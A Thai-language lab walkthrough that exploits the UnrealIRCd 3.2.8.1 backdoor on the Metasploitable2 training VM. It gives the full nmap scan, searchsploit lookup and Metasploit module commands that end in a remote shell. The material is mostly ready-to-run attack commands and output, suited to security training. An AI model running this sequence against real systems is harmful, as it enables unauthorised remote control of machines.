How to exploit the UnrealIRCD (Backdoor Command Execution) – Metasploitable2

บทนำ (Overview)

โปรแกรม “Unreal IRCD version 3.2.8.1” ได้ถูกตรวจสอบพบว่ามี “Backdoor” ฝั่งอยู่ซึ่งส่งผลให้สามารถ เชื่อมต่อกับ “Server” และสามารถได้ “Command prompt” กลับมาเพื่อควบคุมเครื่อง ในบทความนี้จะนำเสนอวิธีการ “Exploit” โดยใช้ “Metasploit” ดังต่อไปนี้

ขั้นตอน (Steps)

  1. ค้นหา “Port” ของ “UnrealIRCD” โดยใช้คำสั่งดังนี้
    nmap -sS -sV 192.168.1.58
    

    Metasploitable2-postgres-bt-01

  2. จากผลลัพธ์ข้างต้นเราจะพบ “Port” หมายเลข 6667 เปิดอยู่ “6667/tcp open  irc         Unreal ircd”
  3. เราสามารถค้นหาช่องโหว่โดยการ “Exploit” แบบ “Offline” บน “Kali” ของเราได้โดยใช้คำสั่ง
    searchsploit Unreal ircd
    

    Metasploitable2-postgres-irc-01

  4. จากการค้นหาข้างต้นเราพบว่ามี “Exploit” ที่เกี่ยวข้อง “Command Execution” คือ “UnrealIRCD 3.2.8.1 – Backdoor Command Execution”  เราลองใช้ “Metasploit” โดยใช้งานคำสั่งดังนี้
    คำสั่ง

    msfconsole
    search UnrealIRCD
    

    ผลลัพธ์

    Matching Modules
    ================
    
       Name                                        Disclosure Date  Rank       Description
       ----                                        ---------------  ----       -----------
       exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  UnrealIRCD 3.2.8.1 Backdoor Command Execution
    
  5. พบว่ามี “Module” เดียว ที่พบให้เลือกใช้ “Module” ดังกล่าว
    use exploit/unix/irc/unreal_ircd_3281_backdoor
    
  6. จากนั้นตรวจสอบ “options” ที่ต้องตั้งค่า
    Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
    
       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       RHOST                   yes       The target address
       RPORT  6667             yes       The target port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Automatic Target
    
    
  7. ตั้งค่าดังนี้
    //IP เป้าหมาย
    set RHOST 192.168.1.58
    exploit
    
  8. รอสักครู่เราจะได้ “Shell” กลับมาดังรูป Metasploitable2-postgres-irc-02

ใส่ความเห็น